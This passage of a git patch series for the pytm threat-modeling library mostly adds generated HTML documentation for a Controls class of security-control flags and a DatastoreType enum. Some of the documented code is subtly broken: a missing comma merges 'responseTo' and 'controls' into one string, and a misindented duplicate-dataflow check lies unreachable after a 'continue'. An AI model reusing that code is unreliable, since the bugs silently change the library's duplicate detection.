+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.encodesHeaders"><code class="name">var <span class="ident">encodesHeaders</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.encodesOutput"><code class="name">var <span class="ident">encodesOutput</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.encryptsCookies"><code class="name">var <span class="ident">encryptsCookies</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.encryptsSessionData"><code class="name">var <span class="ident">encryptsSessionData</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.handlesCrashes"><code class="name">var <span class="ident">handlesCrashes</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.handlesInterruptions"><code class="name">var <span class="ident">handlesInterruptions</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.handlesResourceConsumption"><code class="name">var <span class="ident">handlesResourceConsumption</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.hasAccessControl"><code class="name">var <span class="ident">hasAccessControl</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.implementsAuthenticationScheme"><code class="name">var <span class="ident">implementsAuthenticationScheme</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.implementsCSRFToken"><code class="name">var <span class="ident">implementsCSRFToken</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.implementsNonce"><code class="name">var <span class="ident">implementsNonce</span></code></dt>
+<dd>
+<div class="desc"><p>Nonce is an arbitrary number
+that can be used just once in a cryptographic communication.
+It is often a random or pseudo-random number issued in an authentication protocol
+to ensure that old communications cannot be reused in replay attacks.
+They can also be useful as initialization vectors and in cryptographic
+hash functions.</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.implementsPOLP"><code class="name">var <span class="ident">implementsPOLP</span></code></dt>
+<dd>
+<div class="desc"><p>The principle of least privilege (PoLP),
+also known as the principle of minimal privilege or the principle of least authority,
+requires that in a particular abstraction layer of a computing environment,
+every module (such as a process, a user, or a program, depending on the subject)
+must be able to access only the information and resources
+that are necessary for its legitimate purpose.</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.implementsServerSideValidation"><code class="name">var <span class="ident">implementsServerSideValidation</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.implementsStrictHTTPValidation"><code class="name">var <span class="ident">implementsStrictHTTPValidation</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.invokesScriptFilters"><code class="name">var <span class="ident">invokesScriptFilters</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.isEncrypted"><code class="name">var <span class="ident">isEncrypted</span></code></dt>
+<dd>
+<div class="desc"><p>Requires incoming data flow to be encrypted</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.isEncryptedAtRest"><code class="name">var <span class="ident">isEncryptedAtRest</span></code></dt>
+<dd>
+<div class="desc"><p>Stored data is encrypted at rest</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.isHardened"><code class="name">var <span class="ident">isHardened</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.isResilient"><code class="name">var <span class="ident">isResilient</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.providesConfidentiality"><code class="name">var <span class="ident">providesConfidentiality</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.providesIntegrity"><code class="name">var <span class="ident">providesIntegrity</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.sanitizesInput"><code class="name">var <span class="ident">sanitizesInput</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.tracksExecutionFlow"><code class="name">var <span class="ident">tracksExecutionFlow</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.usesCodeSigning"><code class="name">var <span class="ident">usesCodeSigning</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.usesEncryptionAlgorithm"><code class="name">var <span class="ident">usesEncryptionAlgorithm</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.usesMFA"><code class="name">var <span class="ident">usesMFA</span></code></dt>
+<dd>
+<div class="desc"><p>Multi-factor authentication is an authentication method
+in which a computer user is granted access only after successfully presenting two
+or more pieces of evidence (or factors) to an authentication mechanism: knowledge
+(something the user and only the user knows), possession (something the user
+and only the user has), and inherence (something the user and only the user is).</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.usesParameterizedInput"><code class="name">var <span class="ident">usesParameterizedInput</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.usesSecureFunctions"><code class="name">var <span class="ident">usesSecureFunctions</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.usesStrongSessionIdentifiers"><code class="name">var <span class="ident">usesStrongSessionIdentifiers</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.usesVPN"><code class="name">var <span class="ident">usesVPN</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.validatesContentType"><code class="name">var <span class="ident">validatesContentType</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.validatesHeaders"><code class="name">var <span class="ident">validatesHeaders</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.validatesInput"><code class="name">var <span class="ident">validatesInput</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.verifySessionIdentifiers"><code class="name">var <span class="ident">verifySessionIdentifiers</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+</dl>
+</dd>
 <dt id="pytm.Data"><code class="flex name class">
 <span>class <span class="ident">Data</span></span>
 <span>(</span><span>name, **kwargs)</span>
@@ -1306,6 +2126,15 @@ <h3>Methods</h3>
 that are necessary for its legitimate purpose.&#34;&#34;&#34;,
     )
     isEncryptedAtRest = varBool(False, doc=&#34;Stored data is encrypted at rest&#34;)
+    type = varDatastoreType(
+        DatastoreType.UNKNOWN,
+        doc=&#34;&#34;&#34;The  type of Datastore, values may be one of:
+* UNKNOWN - unknown applicable
+* FILE_SYSTEM - files on a file system
+* SQL - A SQL Database
+* LDAP - An LDAP Server
+* AWS_S3 - An S3 Bucket within AWS&#34;&#34;&#34;
+    )
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1594,6 +2423,94 @@ <h3>Instance variables</h3>
     return self.data.get(instance, self.default)</code></pre>
 </details>
 </dd>
+<dt id="pytm.Datastore.type"><code class="name">var <span class="ident">type</span></code></dt>
+<dd>
+<div class="desc"><p>The
+type of Datastore, values may be one of:
+* UNKNOWN - unknown applicable
+* FILE_SYSTEM - files on a file system
+* SQL - A SQL Database
+* LDAP - An LDAP Server
+* AWS_S3 - An S3 Bucket within AWS</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+    # when x.d is called we get here
+    # instance = x
+    # owner = type(x)
+    if instance is None:
+        return self
+    return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+</dl>
+</dd>
+</dl>
+</dd>
+<dt id="pytm.DatastoreType"><code class="flex name class">
+<span>class <span class="ident">DatastoreType</span></span>
+<span>(</span><span>value, names=None, *, module=None, qualname=None, type=None, start=1)</span>
+</code></dt>
+<dd>
+<div class="desc"><p>An enumeration.</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">class DatastoreType(Enum):
+    UNKNOWN = &#34;UNKNOWN&#34;
+    FILE_SYSTEM = &#34;FILE_SYSTEM&#34;
+    SQL = &#34;SQL&#34;
+    LDAP = &#34;LDAP&#34;
+    AWS_S3 = &#34;AWS_S3&#34;
+
+    def label(self):
+        return self.value.lower().replace(&#34;_&#34;, &#34; &#34;)</code></pre>
+</details>
+<h3>Ancestors</h3>
+<ul class="hlist">
+<li>enum.Enum</li>
+</ul>
+<h3>Class variables</h3>
+<dl>
+<dt id="pytm.DatastoreType.AWS_S3"><code class="name">var <span class="ident">AWS_S3</span></code></dt>
+<dd>
+<div class="desc"></div>
+</dd>
+<dt id="pytm.DatastoreType.FILE_SYSTEM"><code class="name">var <span class="ident">FILE_SYSTEM</span></code></dt>
+<dd>
+<div class="desc"></div>
+</dd>
+<dt id="pytm.DatastoreType.LDAP"><code class="name">var <span class="ident">LDAP</span></code></dt>
+<dd>
+<div class="desc"></div>
+</dd>
+<dt id="pytm.DatastoreType.SQL"><code class="name">var <span class="ident">SQL</span></code></dt>
+<dd>
+<div class="desc"></div>
+</dd>
+<dt id="pytm.DatastoreType.UNKNOWN"><code class="name">var <span class="ident">UNKNOWN</span></code></dt>
+<dd>
+<div class="desc"></div>
+</dd>
+</dl>
+<h3>Methods</h3>
+<dl>
+<dt id="pytm.DatastoreType.label"><code class="name flex">
+<span>def <span class="ident">label</span></span>(<span>self)</span>
+</code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def label(self):
+    return self.value.lower().replace(&#34;_&#34;, &#34; &#34;)</code></pre>
+</details>
+</dd>
 </dl>
 </dd>
 <dt id="pytm.Element"><code class="flex name class">
@@ -1635,11 +2552,13 @@ <h3>Instance variables</h3>
         required=False,
         doc=&#34;Location of the source code that describes this element relative to the directory of the model script.&#34;,
     )
+    controls = varControls(None)
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():
             setattr(self, key, value)
         self.name = name
+        self.controls = Controls()
         self.uuid = uuid.UUID(int=random.getrandbits(128))
         self._is_drawn = False
         TM._elements.append(self)
@@ -1784,6 +2703,22 @@ <h3>Subclasses</h3>
 </ul>
 <h3>Instance variables</h3>
 <dl>
+<dt id="pytm.Element.controls"><code class="name">var <span class="ident">controls</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+    # when x.d is called we get here
+    # instance = x
+    # owner = type(x)
+    if instance is None:
+        return self
+    return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
 <dt id="pytm.Element.description"><code class="name">var <span class="ident">description</span></code></dt>
 <dd>
 <div class="desc"></div>
@@ -3531,7 +4466,7 @@ <h3>Class variables</h3>
     _data = []
     _threatsExcluded = []
     _sf = None
-    _duplicate_ignored_attrs = &#34;name&#34;, &#34;note&#34;, &#34;order&#34;, &#34;response&#34;, &#34;responseTo&#34;
+    _duplicate_ignored_attrs = &#34;name&#34;, &#34;note&#34;, &#34;order&#34;, &#34;response&#34;, &#34;responseTo&#34; &#34;controls&#34;
     name = varString(&#34;&#34;, required=True, doc=&#34;Model name&#34;)
     description = varString(&#34;&#34;, required=True, doc=&#34;Model description&#34;)
     threatsFile = varString(
@@ -3673,6 +4608,16 @@ <h3>Class variables</h3>
                     right._is_drawn = True
                     continue
 
+                    left_controls_attrs = left.controls._attr_values()
+                right_controls_attrs = right.controls._attr_values()
+                #for a in self._duplicate_ignored_attrs:
+                #    del left_controls_attrs[a], right_controls_attrs[a]
+                if left_controls_attrs != right_controls_attrs:
+                    continue
+                if self.onDuplicates == Action.IGNORE:
+                    right._is_drawn = True
+                    continue
+
                 raise ValueError(
                     &#34;Duplicate Dataflow found between {} and {}: &#34;
                     &#34;{} is same as {}&#34;.format(
@@ -4596,6 +5541,54 @@ <h4><code><a title="pytm.Classification" href="#pytm.Classification">Classificat
 </ul>
 </li>
 <li>
+<h4><code><a title="pytm.Controls" href="#pytm.Controls">Controls</a></code></h4>
+<ul class="">
+<li><code><a title="pytm.Controls.authenticatesDestination" href="#pytm.Controls.authenticatesDestination">authenticatesDestination</a></code></li>
+<li><code><a title="pytm.Controls.authenticatesSource" href="#pytm.Controls.authenticatesSource">authenticatesSource</a></code></li>
+<li><code><a title="pytm.Controls.authenticationScheme" href="#pytm.Controls.authenticationScheme">authenticationScheme</a></code></li>
+<li><code><a title="pytm.Controls.authorizesSource" href="#pytm.Controls.authorizesSource">authorizesSource</a></code></li>
+<li><code><a title="pytm.Controls.checksDestinationRevocation" href="#pytm.Controls.checksDestinationRevocation">checksDestinationRevocation</a></code></li>
+<li><code><a title="pytm.Controls.checksInputBounds" href="#pytm.Controls.checksInputBounds">checksInputBounds</a></code></li>
+<li><code><a title="pytm.Controls.definesConnectionTimeout" href="#pytm.Controls.definesConnectionTimeout">definesConnectionTimeout</a></code></li>
+<li><code><a title="pytm.Controls.disablesDTD" href="#pytm.Controls.disablesDTD">disablesDTD</a></code></li>
+<li><code><a title="pytm.Controls.disablesiFrames" href="#pytm.Controls.disablesiFrames">disablesiFrames</a></code></li>
+<li><code><a title="pytm.Controls.encodesHeaders" href="#pytm.Controls.encodesHeaders">encodesHeaders</a></code></li>
+<li><code><a title="pytm.Controls.encodesOutput" href="#pytm.Controls.encodesOutput">encodesOutput</a></code></li>
+<li><code><a title="pytm.Controls.encryptsCookies" href="#pytm.Controls.encryptsCookies">encryptsCookies</a></code></li>
+<li><code><a title="pytm.Controls.encryptsSessionData" href="#pytm.Controls.encryptsSessionData">encryptsSessionData</a></code></li>
+<li><code><a title="pytm.Controls.handlesCrashes" href="#pytm.Controls.handlesCrashes">handlesCrashes</a></code></li>
+<li><code><a title="pytm.Controls.handlesInterruptions" href="#pytm.Controls.handlesInterruptions">handlesInterruptions</a></code></li>
+<li><code><a title="pytm.Controls.handlesResourceConsumption" href="#pytm.Controls.handlesResourceConsumption">handlesResourceConsumption</a></code></li>
+<li><code><a title="pytm.Controls.hasAccessControl" href="#pytm.Controls.hasAccessControl">hasAccessControl</a></code></li>
+<li><code><a title="pytm.Controls.implementsAuthenticationScheme" href="#pytm.Controls.implementsAuthenticationScheme">implementsAuthenticationScheme</a></code></li>
+<li><code><a title="pytm.Controls.implementsCSRFToken" href="#pytm.Controls.implementsCSRFToken">implementsCSRFToken</a></code></li>
+<li><code><a title="pytm.Controls.implementsNonce" href="#pytm.Controls.implementsNonce">implementsNonce</a></code></li>
+<li><code><a title="pytm.Controls.implementsPOLP" href="#pytm.Controls.implementsPOLP">implementsPOLP</a></code></li>
+<li><code><a title="pytm.Controls.implementsServerSideValidation" href="#pytm.Controls.implementsServerSideValidation">implementsServerSideValidation</a></code></li>
+<li><code><a title="pytm.Controls.implementsStrictHTTPValidation" href="#pytm.Controls.implementsStrictHTTPValidation">implementsStrictHTTPValidation</a></code></li>
+<li><code><a title="pytm.Controls.invokesScriptFilters" href="#pytm.Controls.invokesScriptFilters">invokesScriptFilters</a></code></li>
+<li><code><a title="pytm.Controls.isEncrypted" href="#pytm.Controls.isEncrypted">isEncrypted</a></code></li>
+<li><code><a title="pytm.Controls.isEncryptedAtRest" href="#pytm.Controls.isEncryptedAtRest">isEncryptedAtRest</a></code></li>
+<li><code><a title="pytm.Controls.isHardened" href="#pytm.Controls.isHardened">isHardened</a></code></li>
+<li><code><a title="pytm.Controls.isResilient" href="#pytm.Controls.isResilient">isResilient</a></code></li>
+<li><code><a title="pytm.Controls.providesConfidentiality" href="#pytm.Controls.providesConfidentiality">providesConfidentiality</a></code></li>
+<li><code><a title="pytm.Controls.providesIntegrity" href="#pytm.Controls.providesIntegrity">providesIntegrity</a></code></li>
+<li><code><a title="pytm.Controls.sanitizesInput" href="#pytm.Controls.sanitizesInput">sanitizesInput</a></code></li>
+<li><code><a title="pytm.Controls.tracksExecutionFlow" href="#pytm.Controls.tracksExecutionFlow">tracksExecutionFlow</a></code></li>
+<li><code><a title="pytm.Controls.usesCodeSigning" href="#pytm.Controls.usesCodeSigning">usesCodeSigning</a></code></li>
+<li><code><a title="pytm.Controls.usesEncryptionAlgorithm" href="#pytm.Controls.usesEncryptionAlgorithm">usesEncryptionAlgorithm</a></code></li>
+<li><code><a title="pytm.Controls.usesMFA" href="#pytm.Controls.usesMFA">usesMFA</a></code></li>
+<li><code><a title="pytm.Controls.usesParameterizedInput" href="#pytm.Controls.usesParameterizedInput">usesParameterizedInput</a></code></li>
+<li><code><a title="pytm.Controls.usesSecureFunctions" href="#pytm.Controls.usesSecureFunctions">usesSecureFunctions</a></code></li>
+<li><code><a title="pytm.Controls.usesStrongSessionIdentifiers" href="#pytm.Controls.usesStrongSessionIdentifiers">usesStrongSessionIdentifiers</a></code></li>
+<li><code><a title="pytm.Controls.usesVPN" href="#pytm.Controls.usesVPN">usesVPN</a></code></li>
+<li><code><a title="pytm.Controls.validatesContentType" href="#pytm.Controls.validatesContentType">validatesContentType</a></code></li>
+<li><code><a title="pytm.Controls.validatesHeaders" href="#pytm.Controls.validatesHeaders">validatesHeaders</a></code></li>
+<li><code><a title="pytm.Controls.validatesInput" href="#pytm.Controls.validatesInput">validatesInput</a></code></li>
+<li><code><a title="pytm.Controls.verifySessionIdentifiers" href="#pytm.Controls.verifySessionIdentifiers">verifySessionIdentifiers</a></code></li>
+</ul>
+</li>
+<li>
 <h4><code><a title="pytm.Data" href="#pytm.Data">Data</a></code></h4>
 <ul class="">
 <li><code><a title="pytm.Data.carriedBy" href="#pytm.Data.carriedBy">carriedBy</a></code></li>
@@ -4658,12 +5651,25 @@ <h4><code><a title="pytm.Datastore" href="#pytm.Datastore">Datastore</a></code><
 <li><code><a title="pytm.Datastore.storesPII" href="#pytm.Datastore.storesPII">storesPII</a></code></li>
 <li><code><a title="pytm.Datastore.storesSensitiveData" href="#pytm.Datastore.storesSensitiveData">storesSensitiveData</a></code></li>
 <li><code><a title="pytm.Datastore.usesEncryptionAlgorithm" href="#pytm.Datastore.usesEncryptionAlgorithm">usesEncryptionAlgorithm</a></code></li>
+<li><code><a title="pytm.Datastore.type" href="#pytm.Datastore.type">type</a></code></li>
+</ul>
+</li>
+<li>
+<h4><code><a title="pytm.DatastoreType" href="#pytm.DatastoreType">DatastoreType</a></code></h4>
+<ul class="two-column">
+<li><code><a title="pytm.DatastoreType.AWS_S3" href="#pytm.DatastoreType.AWS_S3">AWS_S3</a></code></li>
+<li><code><a title="pytm.DatastoreType.FILE_SYSTEM" href="#pytm.DatastoreType.FILE_SYSTEM">FILE_SYSTEM</a></code></li>
+<li><code><a title="pytm.DatastoreType.LDAP" href="#pytm.DatastoreType.LDAP">LDAP</a></code></li>
+<li><code><a title="pytm.DatastoreType.SQL" href="#pytm.DatastoreType.SQL">SQL</a></code></li>
+<li><code><a title="pytm.DatastoreType.UNKNOWN" href="#pytm.DatastoreType.UNKNOWN">UNKNOWN</a></code></li>
+<li><code><a title="pytm.DatastoreType.label" href="#pytm.DatastoreType.label">label</a></code></li>
 </ul>
 </li>
 <li>
 <h4><code><a title="pytm.Element" href="#pytm.Element">Element</a></code></h4>
 <ul class="two-column">
 <li><code><a title="pytm.Element.checkTLSVersion" href="#pytm.Element.checkTLSVersion">checkTLSVersion</a></code></li>
+<li><code><a title="pytm.Element.controls" href="#pytm.Element.controls">controls</a></code></li>
 <li><code><a title="pytm.Element.crosses" href="#pytm.Element.crosses">crosses</a></code></li>
 <li><code><a title="pytm.Element.description" href="#pytm.Element.description">description</a></code></li>
 <li><code><a title="pytm.Element.display_name" href="#pytm.Element.display_name">display_name</a></code></li>

From 679ea0df19b7b92e7d8359891d53f7ed794d54a3 Mon Sep 17 00:00:00 2001
From: Izar Tarandach <itarandach@squarespace.com>
Date: Tue, 16 Aug 2022 09:07:38 -0400
Subject: [PATCH 65/86] Typo

---
 pytm/pytm.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index b18a197c..0de9a103 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -521,7 +521,7 @@ def _describe_classes(classes):
 
 
 def _list_elements():
-    """List all elements which can be used in a threat model with the corisponding description"""
+    """List all elements which can be used in a threat model with the corresponding description"""
     def all_subclasses(cls):
         """Get all sub classes of a class"""
         subclasses = set(cls.__subclasses__())

From c9a3084e1b461b672099e460c2a4d5184cfb7bf1 Mon Sep 17 00:00:00 2001
From: danieldavidson <5460596+danieldavidson@users.noreply.github.com>
Date: Sat, 17 Sep 2022 10:46:37 -0400
Subject: [PATCH 66/86] Add additional test cases for threat DE01

---
 pytm/threatlib/threats.json |  4 +-
 tests/test_pytmfunc.py      | 76 +++++++++++++++++++++++++++++++++----
 2 files changed, 71 insertions(+), 9 deletions(-)

diff --git a/pytm/threatlib/threats.json b/pytm/threatlib/threats.json
index 1a6a450a..e477fcc6 100644
--- a/pytm/threatlib/threats.json
+++ b/pytm/threatlib/threats.json
@@ -193,7 +193,7 @@
